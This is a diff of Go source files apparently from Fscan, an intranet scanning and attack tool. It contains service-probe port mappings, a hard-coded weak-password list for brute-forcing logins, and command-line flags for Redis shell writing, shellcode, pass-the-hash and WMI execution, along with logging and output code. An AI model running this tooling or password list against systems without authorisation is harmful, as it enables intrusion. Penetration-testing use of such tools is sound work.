11211: {"Memcache"},
|
||||
11333: {"JavaRMI"},
|
||||
11371: {"GenericLines", "GetRequest"},
|
||||
11711: {"LDAPSearchReq"},
|
||||
11712: {"LDAPSearchReq"},
|
||||
11965: {"GenericLines"},
|
||||
12000: {"JavaRMI"},
|
||||
12345: {"Help", "OfficeScan"},
|
||||
13013: {"GetRequest", "JavaRMI"},
|
||||
13666: {"GetRequest"},
|
||||
13720: {"GenericLines"},
|
||||
13722: {"GetRequest"},
|
||||
13783: {"DNSVersionBindReqTCP"},
|
||||
14000: {"JavaRMI"},
|
||||
14238: {"oracle-tns"},
|
||||
14443: {"GetRequest", "SSLSessionReq"},
|
||||
14534: {"GetRequest"},
|
||||
14690: {"Help"},
|
||||
15000: {"GenericLines", "GetRequest", "JavaRMI"},
|
||||
15001: {"GenericLines", "JavaRMI"},
|
||||
15002: {"GenericLines", "SSLSessionReq"},
|
||||
15200: {"JavaRMI"},
|
||||
16000: {"JavaRMI"},
|
||||
17007: {"RPCCheck"},
|
||||
17200: {"JavaRMI"},
|
||||
17988: {"GetRequest"},
|
||||
18086: {"GenericLines"},
|
||||
18182: {"SMBProgNeg"},
|
||||
18264: {"GetRequest"},
|
||||
18980: {"JavaRMI"},
|
||||
19150: {"GenericLines", "gkrellm"},
|
||||
19350: {"LPDString"},
|
||||
19700: {"kumo-server"},
|
||||
19800: {"kumo-server"},
|
||||
20000: {"JavaRMI", "oracle-tns"},
|
||||
20547: {"proconos"},
|
||||
22001: {"NotesRPC"},
|
||||
22490: {"Help"},
|
||||
23791: {"JavaRMI"},
|
||||
25565: {"minecraft-ping"},
|
||||
26214: {"GenericLines"},
|
||||
26256: {"JavaRMI"},
|
||||
26470: {"GenericLines"},
|
||||
27000: {"SMBProgNeg"},
|
||||
27001: {"SMBProgNeg"},
|
||||
27002: {"SMBProgNeg"},
|
||||
27003: {"SMBProgNeg"},
|
||||
27004: {"SMBProgNeg"},
|
||||
27005: {"SMBProgNeg"},
|
||||
27006: {"SMBProgNeg"},
|
||||
27007: {"SMBProgNeg"},
|
||||
27008: {"SMBProgNeg"},
|
||||
27009: {"SMBProgNeg"},
|
||||
27010: {"SMBProgNeg"},
|
||||
27017: {"mongodb"},
|
||||
27036: {"TLS-PSK"},
|
||||
30444: {"GenericLines"},
|
||||
31099: {"JavaRMI"},
|
||||
31337: {"GetRequest", "SIPOptions"},
|
||||
31416: {"GenericLines"},
|
||||
32211: {"LPDString"},
|
||||
32750: {"RPCCheck"},
|
||||
32751: {"RPCCheck"},
|
||||
32752: {"RPCCheck"},
|
||||
32753: {"RPCCheck"},
|
||||
32754: {"RPCCheck"},
|
||||
32755: {"RPCCheck"},
|
||||
32756: {"RPCCheck"},
|
||||
32757: {"RPCCheck"},
|
||||
32758: {"RPCCheck"},
|
||||
32759: {"RPCCheck"},
|
||||
32760: {"RPCCheck"},
|
||||
32761: {"RPCCheck"},
|
||||
32762: {"RPCCheck"},
|
||||
32763: {"RPCCheck"},
|
||||
32764: {"RPCCheck"},
|
||||
32765: {"RPCCheck"},
|
||||
32766: {"RPCCheck"},
|
||||
32767: {"RPCCheck"},
|
||||
32768: {"RPCCheck"},
|
||||
32769: {"RPCCheck"},
|
||||
32770: {"RPCCheck"},
|
||||
32771: {"RPCCheck"},
|
||||
32772: {"RPCCheck"},
|
||||
32773: {"RPCCheck"},
|
||||
32774: {"RPCCheck"},
|
||||
32775: {"RPCCheck"},
|
||||
32776: {"RPCCheck"},
|
||||
32777: {"RPCCheck"},
|
||||
32778: {"RPCCheck"},
|
||||
32779: {"RPCCheck"},
|
||||
32780: {"RPCCheck"},
|
||||
32781: {"RPCCheck"},
|
||||
32782: {"RPCCheck"},
|
||||
32783: {"RPCCheck"},
|
||||
32784: {"RPCCheck"},
|
||||
32785: {"RPCCheck"},
|
||||
32786: {"RPCCheck"},
|
||||
32787: {"RPCCheck"},
|
||||
32788: {"RPCCheck"},
|
||||
32789: {"RPCCheck"},
|
||||
32790: {"RPCCheck"},
|
||||
32791: {"RPCCheck"},
|
||||
32792: {"RPCCheck"},
|
||||
32793: {"RPCCheck"},
|
||||
32794: {"RPCCheck"},
|
||||
32795: {"RPCCheck"},
|
||||
32796: {"RPCCheck"},
|
||||
32797: {"RPCCheck"},
|
||||
32798: {"RPCCheck"},
|
||||
32799: {"RPCCheck"},
|
||||
32800: {"RPCCheck"},
|
||||
32801: {"RPCCheck"},
|
||||
32802: {"RPCCheck"},
|
||||
32803: {"RPCCheck"},
|
||||
32804: {"RPCCheck"},
|
||||
32805: {"RPCCheck"},
|
||||
32806: {"RPCCheck"},
|
||||
32807: {"RPCCheck"},
|
||||
32808: {"RPCCheck"},
|
||||
32809: {"RPCCheck"},
|
||||
32810: {"RPCCheck"},
|
||||
32913: {"JavaRMI"},
|
||||
33000: {"JavaRMI"},
|
||||
33015: {"tarantool"},
|
||||
34012: {"GenericLines"},
|
||||
37435: {"HTTPOptions"},
|
||||
37718: {"JavaRMI"},
|
||||
38978: {"RPCCheck"},
|
||||
40193: {"GetRequest"},
|
||||
41523: {"DNSStatusRequestTCP"},
|
||||
44443: {"GetRequest", "SSLSessionReq"},
|
||||
45230: {"JavaRMI"},
|
||||
47001: {"JavaRMI"},
|
||||
47002: {"JavaRMI"},
|
||||
49152: {"FourOhFourRequest"},
|
||||
49153: {"mongodb"},
|
||||
49400: {"HTTPOptions"},
|
||||
50000: {"GetRequest", "ibm-db2-das", "ibm-db2", "drda"},
|
||||
50001: {"ibm-db2"},
|
||||
50002: {"ibm-db2"},
|
||||
50003: {"ibm-db2"},
|
||||
50004: {"ibm-db2"},
|
||||
50005: {"ibm-db2"},
|
||||
50006: {"ibm-db2"},
|
||||
50007: {"ibm-db2"},
|
||||
50008: {"ibm-db2"},
|
||||
50009: {"ibm-db2"},
|
||||
50010: {"ibm-db2"},
|
||||
50011: {"ibm-db2"},
|
||||
50012: {"ibm-db2"},
|
||||
50013: {"ibm-db2"},
|
||||
50014: {"ibm-db2"},
|
||||
50015: {"ibm-db2"},
|
||||
50016: {"ibm-db2"},
|
||||
50017: {"ibm-db2"},
|
||||
50018: {"ibm-db2"},
|
||||
50019: {"ibm-db2"},
|
||||
50020: {"ibm-db2"},
|
||||
50021: {"ibm-db2"},
|
||||
50022: {"ibm-db2"},
|
||||
50023: {"ibm-db2"},
|
||||
50024: {"ibm-db2"},
|
||||
50025: {"ibm-db2"},
|
||||
50050: {"JavaRMI"},
|
||||
50500: {"JavaRMI"},
|
||||
50501: {"JavaRMI"},
|
||||
50502: {"JavaRMI"},
|
||||
50503: {"JavaRMI"},
|
||||
50504: {"JavaRMI"},
|
||||
50505: {"metasploit-msgrpc"},
|
||||
51234: {"teamspeak-tcpquery-ver"},
|
||||
55552: {"metasploit-msgrpc"},
|
||||
55553: {"metasploit-xmlrpc", "metasploit-xmlrpc"},
|
||||
55555: {"GetRequest"},
|
||||
56667: {"GenericLines"},
|
||||
59100: {"kumo-server"},
|
||||
60000: {"ibm-db2", "drda"},
|
||||
60001: {"ibm-db2"},
|
||||
60002: {"ibm-db2"},
|
||||
60003: {"ibm-db2"},
|
||||
60004: {"ibm-db2"},
|
||||
60005: {"ibm-db2"},
|
||||
60006: {"ibm-db2"},
|
||||
60007: {"ibm-db2"},
|
||||
60008: {"ibm-db2"},
|
||||
60009: {"ibm-db2"},
|
||||
60010: {"ibm-db2"},
|
||||
60011: {"ibm-db2"},
|
||||
60012: {"ibm-db2"},
|
||||
60013: {"ibm-db2"},
|
||||
60014: {"ibm-db2"},
|
||||
60015: {"ibm-db2"},
|
||||
60016: {"ibm-db2"},
|
||||
60017: {"ibm-db2"},
|
||||
60018: {"ibm-db2"},
|
||||
60019: {"ibm-db2"},
|
||||
60020: {"ibm-db2"},
|
||||
60021: {"ibm-db2"},
|
||||
60022: {"ibm-db2"},
|
||||
60023: {"ibm-db2"},
|
||||
60024: {"ibm-db2"},
|
||||
60025: {"ibm-db2"},
|
||||
60443: {"GetRequest", "SSLSessionReq"},
|
||||
61613: {"HELP4STOMP"},
|
||||
}
|
||||
|
||||
var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "Password", "P@ssword123", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789", "elastic123"}
|
||||
|
||||
var (
|
||||
Outputfile string // 输出文件路径
|
||||
OutputFormat string // 输出格式
|
||||
)
|
||||
|
||||
// 添加一个全局的进度条变量
|
||||
var ProgressBar *progressbar.ProgressBar
|
||||
|
||||
// 添加一个全局互斥锁来控制输出
|
||||
var OutputMutex sync.Mutex
|
||||
|
||||
type PocInfo struct {
|
||||
Target string
|
||||
PocName string
|
||||
}
|
||||
|
||||
var (
|
||||
// 目标配置
|
||||
Ports string
|
||||
ExcludePorts string // 原NoPorts
|
||||
ExcludeHosts string
|
||||
AddPorts string // 原PortAdd
|
||||
|
||||
// 认证配置
|
||||
Username string
|
||||
Password string
|
||||
Domain string
|
||||
SshKeyPath string // 原SshKey
|
||||
AddUsers string // 原UserAdd
|
||||
AddPasswords string // 原PassAdd
|
||||
|
||||
// 扫描配置
|
||||
ScanMode string // 原Scantype
|
||||
ThreadNum int // 原Threads
|
||||
//UseSynScan bool
|
||||
Timeout int64 = 3
|
||||
LiveTop int
|
||||
DisablePing bool // 原NoPing
|
||||
UsePing bool // 原Ping
|
||||
Command string
|
||||
SkipFingerprint bool
|
||||
|
||||
// 文件配置
|
||||
HostsFile string // 原HostFile
|
||||
UsersFile string // 原Userfile
|
||||
PasswordsFile string // 原Passfile
|
||||
HashFile string // 原Hashfile
|
||||
PortsFile string // 原PortFile
|
||||
|
||||
// Web配置
|
||||
TargetURL string // 原URL
|
||||
URLsFile string // 原UrlFile
|
||||
URLs []string // 原Urls
|
||||
WebTimeout int64 = 5
|
||||
HttpProxy string // 原Proxy
|
||||
Socks5Proxy string
|
||||
|
||||
LocalMode bool // -local 本地模式
|
||||
|
||||
// POC配置
|
||||
PocPath string
|
||||
Pocinfo PocInfo
|
||||
|
||||
// Redis配置
|
||||
RedisFile string
|
||||
RedisShell string
|
||||
DisableRedis bool // 原Noredistest
|
||||
|
||||
// 爆破配置
|
||||
DisableBrute bool // 原IsBrute
|
||||
BruteThreads int // 原BruteThread
|
||||
MaxRetries int // 最大重试次数
|
||||
|
||||
// 其他配置
|
||||
RemotePath string // 原Path
|
||||
HashValue string // 原Hash
|
||||
HashValues []string // 原Hashs
|
||||
HashBytes [][]byte
|
||||
HostPort []string
|
||||
Shellcode string // 原SC
|
||||
EnableWmi bool // 原IsWmi
|
||||
|
||||
// 输出配置
|
||||
DisableSave bool // 禁止保存结果
|
||||
Silent bool // 静默模式
|
||||
NoColor bool // 禁用彩色输出
|
||||
JsonFormat bool // JSON格式输出
|
||||
LogLevel string // 日志输出级别
|
||||
ShowProgress bool // 是否显示进度条
|
||||
|
||||
Language string // 语言
|
||||
)
|
||||
|
||||
var (
|
||||
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
|
||||
Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
|
||||
DnsLog bool
|
||||
PocNum int
|
||||
PocFull bool
|
||||
CeyeDomain string
|
||||
ApiKey string
|
||||
Cookie string
|
||||
)
|
138
Common/Flag.go
Normal file
138
Common/Flag.go
Normal file
@ -0,0 +1,138 @@
|
||||
package Common
|
||||
|
||||
import (
|
||||
"flag"
|
||||
"fmt"
|
||||
"github.com/fatih/color"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func Banner() {
|
||||
// 定义暗绿色系
|
||||
colors := []color.Attribute{
|
||||
color.FgGreen, // 基础绿
|
||||
color.FgHiGreen, // 亮绿
|
||||
}
|
||||
|
||||
lines := []string{
|
||||
" ___ _ ",
|
||||
" / _ \\ ___ ___ _ __ __ _ ___| | __ ",
|
||||
" / /_\\/____/ __|/ __| '__/ _` |/ __| |/ /",
|
||||
"/ /_\\\\_____\\__ \\ (__| | | (_| | (__| < ",
|
||||
"\\____/ |___/\\___|_| \\__,_|\\___|_|\\_\\ ",
|
||||
}
|
||||
|
||||
// 获取最长行的长度
|
||||
maxLength := 0
|
||||
for _, line := range lines {
|
||||
if len(line) > maxLength {
|
||||
maxLength = len(line)
|
||||
}
|
||||
}
|
||||
|
||||
// 创建边框
|
||||
topBorder := "┌" + strings.Repeat("─", maxLength+2) + "┐"
|
||||
bottomBorder := "└" + strings.Repeat("─", maxLength+2) + "┘"
|
||||
|
||||
// 打印banner
|
||||
fmt.Println(topBorder)
|
||||
|
||||
for lineNum, line := range lines {
|
||||
fmt.Print("│ ")
|
||||
// 使用对应的颜色打印每个字符
|
||||
c := color.New(colors[lineNum%2])
|
||||
c.Print(line)
|
||||
// 补齐空格
|
||||
padding := maxLength - len(line)
|
||||
fmt.Printf("%s │\n", strings.Repeat(" ", padding))
|
||||
}
|
||||
|
||||
fmt.Println(bottomBorder)
|
||||
|
||||
// 打印版本信息
|
||||
c := color.New(colors[1])
|
||||
c.Printf(" Fscan Version: %s\n\n", version)
|
||||
}
|
||||
|
||||
func Flag(Info *HostInfo) {
|
||||
Banner()
|
||||
|
||||
// 目标配置
|
||||
flag.StringVar(&Info.Host, "h", "", GetText("flag_host"))
|
||||
flag.StringVar(&ExcludeHosts, "eh", "", GetText("flag_exclude_hosts"))
|
||||
flag.StringVar(&Ports, "p", MainPorts, GetText("flag_ports"))
|
||||
|
||||
// 认证配置
|
||||
flag.StringVar(&AddUsers, "usera", "", GetText("flag_add_users"))
|
||||
flag.StringVar(&AddPasswords, "pwda", "", GetText("flag_add_passwords"))
|
||||
flag.StringVar(&Username, "user", "", GetText("flag_username"))
|
||||
flag.StringVar(&Password, "pwd", "", GetText("flag_password"))
|
||||
flag.StringVar(&Domain, "domain", "", GetText("flag_domain"))
|
||||
flag.StringVar(&SshKeyPath, "sshkey", "", GetText("flag_ssh_key"))
|
||||
|
||||
// 扫描配置
|
||||
flag.StringVar(&ScanMode, "m", "All", GetText("flag_scan_mode"))
|
||||
flag.IntVar(&ThreadNum, "t", 60, GetText("flag_thread_num"))
|
||||
flag.Int64Var(&Timeout, "time", 3, GetText("flag_timeout"))
|
||||
flag.IntVar(&LiveTop, "top", 10, GetText("flag_live_top"))
|
||||
flag.BoolVar(&DisablePing, "np", false, GetText("flag_disable_ping"))
|
||||
flag.BoolVar(&UsePing, "ping", false, GetText("flag_use_ping"))
|
||||
flag.StringVar(&Command, "c", "", GetText("flag_command"))
|
||||
flag.BoolVar(&SkipFingerprint, "skip", false, GetText("flag_skip_fingerprint"))
|
||||
|
||||
// 文件配置
|
||||
flag.StringVar(&HostsFile, "hf", "", GetText("flag_hosts_file"))
|
||||
flag.StringVar(&UsersFile, "userf", "", GetText("flag_users_file"))
|
||||
flag.StringVar(&PasswordsFile, "pwdf", "", GetText("flag_passwords_file"))
|
||||
flag.StringVar(&HashFile, "hashf", "", GetText("flag_hash_file"))
|
||||
flag.StringVar(&PortsFile, "portf", "", GetText("flag_ports_file"))
|
||||
|
||||
// Web配置
|
||||
flag.StringVar(&TargetURL, "u", "", GetText("flag_target_url"))
|
||||
flag.StringVar(&URLsFile, "uf", "", GetText("flag_urls_file"))
|
||||
flag.StringVar(&Cookie, "cookie", "", GetText("flag_cookie"))
|
||||
flag.Int64Var(&WebTimeout, "wt", 5, GetText("flag_web_timeout"))
|
||||
flag.StringVar(&HttpProxy, "proxy", "", GetText("flag_http_proxy"))
|
||||
flag.StringVar(&Socks5Proxy, "socks5", "", GetText("flag_socks5_proxy"))
|
||||
|
||||
// 本地扫描配置
|
||||
flag.BoolVar(&LocalMode, "local", false, GetText("flag_local_mode"))
|
||||
|
||||
// POC配置
|
||||
flag.StringVar(&PocPath, "pocpath", "", GetText("flag_poc_path"))
|
||||
flag.StringVar(&Pocinfo.PocName, "pocname", "", GetText("flag_poc_name"))
|
||||
flag.BoolVar(&PocFull, "full", false, GetText("flag_poc_full"))
|
||||
flag.BoolVar(&DnsLog, "dns", false, GetText("flag_dns_log"))
|
||||
flag.IntVar(&PocNum, "num", 20, GetText("flag_poc_num"))
|
||||
|
||||
// Redis利用配置
|
||||
flag.StringVar(&RedisFile, "rf", "", GetText("flag_redis_file"))
|
||||
flag.StringVar(&RedisShell, "rs", "", GetText("flag_redis_shell"))
|
||||
flag.BoolVar(&DisableRedis, "noredis", false, GetText("flag_disable_redis"))
|
||||
|
||||
// 暴力破解配置
|
||||
flag.BoolVar(&DisableBrute, "nobr", false, GetText("flag_disable_brute"))
|
||||
flag.IntVar(&MaxRetries, "retry", 3, GetText("flag_max_retries"))
|
||||
|
||||
// 其他配置
|
||||
flag.StringVar(&RemotePath, "path", "", GetText("flag_remote_path"))
|
||||
flag.StringVar(&HashValue, "hash", "", GetText("flag_hash_value"))
|
||||
flag.StringVar(&Shellcode, "sc", "", GetText("flag_shellcode"))
|
||||
flag.BoolVar(&EnableWmi, "wmi", false, GetText("flag_enable_wmi"))
|
||||
|
||||
// 输出配置
|
||||
flag.StringVar(&Outputfile, "o", "result.txt", GetText("flag_output_file"))
|
||||
flag.StringVar(&OutputFormat, "f", "txt", GetText("flag_output_format"))
|
||||
flag.BoolVar(&DisableSave, "no", false, GetText("flag_disable_save"))
|
||||
flag.BoolVar(&Silent, "silent", false, GetText("flag_silent_mode"))
|
||||
flag.BoolVar(&NoColor, "nocolor", false, GetText("flag_no_color"))
|
||||
flag.BoolVar(&JsonFormat, "json", false, GetText("flag_json_format"))
|
||||
flag.StringVar(&LogLevel, "log", LogLevelSuccess, GetText("flag_log_level"))
|
||||
flag.BoolVar(&ShowProgress, "pg", false, GetText("flag_show_progress"))
|
||||
|
||||
flag.StringVar(&Language, "lang", "zh", GetText("flag_language"))
|
||||
|
||||
flag.Parse()
|
||||
|
||||
SetLanguage()
|
||||
}
|
238
Common/Log.go
Normal file
238
Common/Log.go
Normal file
@ -0,0 +1,238 @@
|
||||
package Common
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/fatih/color"
|
||||
)
|
||||
|
||||
// 全局变量定义
|
||||
var (
|
||||
// 扫描状态管理器,记录最近一次成功和错误的时间
|
||||
status = &ScanStatus{lastSuccess: time.Now(), lastError: time.Now()}
|
||||
|
||||
// Num 表示待处理的总任务数量
|
||||
Num int64
|
||||
// End 表示已经完成的任务数量
|
||||
End int64
|
||||
)
|
||||
|
||||
// ScanStatus 用于记录和管理扫描状态的结构体
|
||||
type ScanStatus struct {
|
||||
mu sync.RWMutex // 读写互斥锁,用于保护并发访问
|
||||
total int64 // 总任务数
|
||||
completed int64 // 已完成任务数
|
||||
lastSuccess time.Time // 最近一次成功的时间
|
||||
lastError time.Time // 最近一次错误的时间
|
||||
}
|
||||
|
||||
// LogEntry 定义单条日志的结构
|
||||
type LogEntry struct {
|
||||
Level string // 日志级别: ERROR/INFO/SUCCESS/DEBUG
|
||||
Time time.Time // 日志时间
|
||||
Content string // 日志内容
|
||||
}
|
||||
|
||||
// 定义系统支持的日志级别常量
|
||||
const (
|
||||
LogLevelAll = "ALL" // 显示所有级别日志
|
||||
LogLevelError = "ERROR" // 仅显示错误日志
|
||||
LogLevelInfo = "INFO" // 仅显示信息日志
|
||||
LogLevelSuccess = "SUCCESS" // 仅显示成功日志
|
||||
LogLevelDebug = "DEBUG" // 仅显示调试日志
|
||||
)
|
||||
|
||||
// 日志级别对应的显示颜色映射
|
||||
var logColors = map[string]color.Attribute{
|
||||
LogLevelError: color.FgRed, // 错误日志显示红色
|
||||
LogLevelInfo: color.FgYellow, // 信息日志显示黄色
|
||||
LogLevelSuccess: color.FgGreen, // 成功日志显示绿色
|
||||
LogLevelDebug: color.FgBlue, // 调试日志显示蓝色
|
||||
}
|
||||
|
||||
// InitLogger 初始化日志系统
|
||||
func InitLogger() {
|
||||
// 禁用标准日志输出
|
||||
log.SetOutput(io.Discard)
|
||||
}
|
||||
|
||||
// formatLogMessage 格式化日志消息为标准格式
|
||||
// 返回格式:[时间] [级别] 内容
|
||||
func formatLogMessage(entry *LogEntry) string {
|
||||
timeStr := entry.Time.Format("2006-01-02 15:04:05")
|
||||
return fmt.Sprintf("[%s] [%s] %s", timeStr, entry.Level, entry.Content)
|
||||
}
|
||||
|
||||
// printLog 根据日志级别打印日志
|
||||
func printLog(entry *LogEntry) {
|
||||
// 根据当前设置的日志级别过滤日志
|
||||
shouldPrint := false
|
||||
switch LogLevel {
|
||||
case LogLevelDebug:
|
||||
// DEBUG级别显示所有日志
|
||||
shouldPrint = true
|
||||
case LogLevelError:
|
||||
// ERROR级别显示 ERROR、SUCCESS、INFO
|
||||
shouldPrint = entry.Level == LogLevelError ||
|
||||
entry.Level == LogLevelSuccess ||
|
||||
entry.Level == LogLevelInfo
|
||||
case LogLevelSuccess:
|
||||
// SUCCESS级别显示 SUCCESS、INFO
|
||||
shouldPrint = entry.Level == LogLevelSuccess ||
|
||||
entry.Level == LogLevelInfo
|
||||
case LogLevelInfo:
|
||||
// INFO级别只显示 INFO
|
||||
shouldPrint = entry.Level == LogLevelInfo
|
||||
case LogLevelAll:
|
||||
// ALL显示所有日志
|
||||
shouldPrint = true
|
||||
default:
|
||||
// 默认只显示 INFO
|
||||
shouldPrint = entry.Level == LogLevelInfo
|
||||
}
|
||||
|
||||
if !shouldPrint {
|
||||
return
|
||||
}
|
||||
|
||||
OutputMutex.Lock()
|
||||
defer OutputMutex.Unlock()
|
||||
|
||||
// 处理进度条
|
||||
clearAndWaitProgress()
|
||||
|
||||
// 打印日志消息
|
||||
logMsg := formatLogMessage(entry)
|
||||
if !NoColor {
|
||||
// 使用彩色输出
|
||||
if colorAttr, ok := logColors[entry.Level]; ok {
|
||||
color.New(colorAttr).Println(logMsg)
|
||||
} else {
|
||||
fmt.Println(logMsg)
|
||||
}
|
||||
} else {
|
||||
// 普通输出
|
||||
fmt.Println(logMsg)
|
||||
}
|
||||
|
||||
// 等待日志输出完成
|
||||
time.Sleep(50 * time.Millisecond)
|
||||
|
||||
// 重新显示进度条
|
||||
if ProgressBar != nil {
|
||||
ProgressBar.RenderBlank()
|
||||
}
|
||||
}
|
||||
|
||||
// clearAndWaitProgress 清除进度条并等待
|
||||
func clearAndWaitProgress() {
|
||||
if ProgressBar != nil {
|
||||
ProgressBar.Clear()
|
||||
time.Sleep(10 * time.Millisecond)
|
||||
}
|
||||
}
|
||||
|
||||
// LogError 记录错误日志,自动包含文件名和行号信息
|
||||
func LogError(errMsg string) {
|
||||
// 获取调用者的文件名和行号
|
||||
_, file, line, ok := runtime.Caller(1)
|
||||
if !ok {
|
||||
file = "unknown"
|
||||
line = 0
|
||||
}
|
||||
file = filepath.Base(file)
|
||||
|
||||
errorMsg := fmt.Sprintf("%s:%d - %s", file, line, errMsg)
|
||||
|
||||
entry := &LogEntry{
|
||||
Level: LogLevelError,
|
||||
Time: time.Now(),
|
||||
Content: errorMsg,
|
||||
}
|
||||
|
||||
handleLog(entry)
|
||||
}
|
||||
|
||||
// handleLog 统一处理日志的输出
|
||||
func handleLog(entry *LogEntry) {
|
||||
if ProgressBar != nil {
|
||||
ProgressBar.Clear()
|
||||
}
|
||||
|
||||
printLog(entry)
|
||||
|
||||
if ProgressBar != nil {
|
||||
ProgressBar.RenderBlank()
|
||||
}
|
||||
}
|
||||
|
||||
// LogInfo 记录信息日志
|
||||
func LogInfo(msg string) {
|
||||
handleLog(&LogEntry{
|
||||
Level: LogLevelInfo,
|
||||
Time: time.Now(),
|
||||
Content: msg,
|
||||
})
|
||||
}
|
||||
|
||||
// LogSuccess 记录成功日志,并更新最后成功时间
|
||||
func LogSuccess(result string) {
|
||||
entry := &LogEntry{
|
||||
Level: LogLevelSuccess,
|
||||
Time: time.Now(),
|
||||
Content: result,
|
||||
}
|
||||
|
||||
handleLog(entry)
|
||||
|
||||
// 更新最后成功时间
|
||||
status.mu.Lock()
|
||||
status.lastSuccess = time.Now()
|
||||
status.mu.Unlock()
|
||||
}
|
||||
|
||||
// LogDebug 记录调试日志
|
||||
func LogDebug(msg string) {
|
||||
handleLog(&LogEntry{
|
||||
Level: LogLevelDebug,
|
||||
Time: time.Now(),
|
||||
Content: msg,
|
||||
})
|
||||
}
|
||||
|
||||
// CheckErrs 检查是否为需要重试的错误
|
||||
func CheckErrs(err error) error {
|
||||
if err == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 已知需要重试的错误列表
|
||||
errs := []string{
|
||||
"closed by the remote host", "too many connections",
|
||||
"EOF", "A connection attempt failed",
|
||||
"established connection failed", "connection attempt failed",
|
||||
"Unable to read", "is not allowed to connect to this",
|
||||
"no pg_hba.conf entry",
|
||||
"No connection could be made",
|
||||
"invalid packet size",
|
||||
"bad connection",
|
||||
}
|
||||
|
||||
// 检查错误是否匹配
|
||||
errLower := strings.ToLower(err.Error())
|
||||
for _, key := range errs {
|
||||
if strings.Contains(errLower, strings.ToLower(key)) {
|
||||
time.Sleep(3 * time.Second)
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
245
Common/Output.go
Normal file
245
Common/Output.go
Normal file
@ -0,0 +1,245 @@
|
||||
package Common
|
||||
|
||||
import (
|
||||
"encoding/csv"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// 全局输出管理器
|
||||
var ResultOutput *OutputManager
|
||||
|
||||
// OutputManager 输出管理器结构体
|
||||
type OutputManager struct {
|
||||
mu sync.Mutex
|
||||
outputPath string
|
||||
outputFormat string
|
||||
file *os.File
|
||||
csvWriter *csv.Writer
|
||||
jsonEncoder *json.Encoder
|
||||
isInitialized bool
|
||||
}
|
||||
|
||||
// ResultType 定义结果类型
|
||||
type ResultType string
|
||||
|
||||
const (
|
||||
HOST ResultType = "HOST" // 主机存活
|
||||
PORT ResultType = "PORT" // 端口开放
|
||||
SERVICE ResultType = "SERVICE" // 服务识别
|
||||
VULN ResultType = "VULN" // 漏洞发现
|
||||
)
|
||||
|
||||
// ScanResult 扫描结果结构
|
||||
type ScanResult struct {
|
||||
Time time.Time `json:"time"` // 发现时间
|
||||
Type ResultType `json:"type"` // 结果类型
|
||||
Target string `json:"target"` // 目标(IP/域名/URL)
|
||||
Status string `json:"status"` // 状态描述
|
||||
Details map[string]interface{} `json:"details"` // 详细信息
|
||||
}
|
||||
|
||||
// InitOutput 初始化输出系统
|
||||
func InitOutput() error {
|
||||
LogDebug(GetText("output_init_start"))
|
||||
|
||||
// 验证输出格式
|
||||
switch OutputFormat {
|
||||
case "txt", "json", "csv":
|
||||
// 有效的格式
|
||||
default:
|
||||
return fmt.Errorf(GetText("output_format_invalid"), OutputFormat)
|
||||
}
|
||||
|
||||
// 验证输出路径
|
||||
if Outputfile == "" {
|
||||
return fmt.Errorf(GetText("output_path_empty"))
|
||||
}
|
||||
|
||||
dir := filepath.Dir(Outputfile)
|
||||
if err := os.MkdirAll(dir, 0755); err != nil {
|
||||
LogDebug(GetText("output_create_dir_failed", err))
|
||||
return fmt.Errorf(GetText("output_create_dir_failed", err))
|
||||
}
|
||||
|
||||
manager := &OutputManager{
|
||||
outputPath: Outputfile,
|
||||
outputFormat: OutputFormat,
|
||||
}
|
||||
|
||||
if err := manager.initialize(); err != nil {
|
||||
LogDebug(GetText("output_init_failed", err))
|
||||
return fmt.Errorf(GetText("output_init_failed", err))
|
||||
}
|
||||
|
||||
ResultOutput = manager
|
||||
LogDebug(GetText("output_init_success"))
|
||||
return nil
|
||||
}
|
||||
|
||||
func (om *OutputManager) initialize() error {
|
||||
om.mu.Lock()
|
||||
defer om.mu.Unlock()
|
||||
|
||||
if om.isInitialized {
|
||||
LogDebug(GetText("output_already_init"))
|
||||
return nil
|
||||
}
|
||||
|
||||
LogDebug(GetText("output_opening_file", om.outputPath))
|
||||
file, err := os.OpenFile(om.outputPath, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0644)
|
||||
if err != nil {
|
||||
LogDebug(GetText("output_open_file_failed", err))
|
||||
return fmt.Errorf(GetText("output_open_file_failed", err))
|
||||
}
|
||||
om.file = file
|
||||
|
||||
switch om.outputFormat {
|
||||
case "csv":
|
||||
LogDebug(GetText("output_init_csv"))
|
||||
om.csvWriter = csv.NewWriter(file)
|
||||
headers := []string{"Time", "Type", "Target", "Status", "Details"}
|
||||
if err := om.csvWriter.Write(headers); err != nil {
|
||||
LogDebug(GetText("output_write_csv_header_failed", err))
|
||||
file.Close()
|
||||
return fmt.Errorf(GetText("output_write_csv_header_failed", err))
|
||||
}
|
||||
om.csvWriter.Flush()
|
||||
case "json":
|
||||
LogDebug(GetText("output_init_json"))
|
||||
om.jsonEncoder = json.NewEncoder(file)
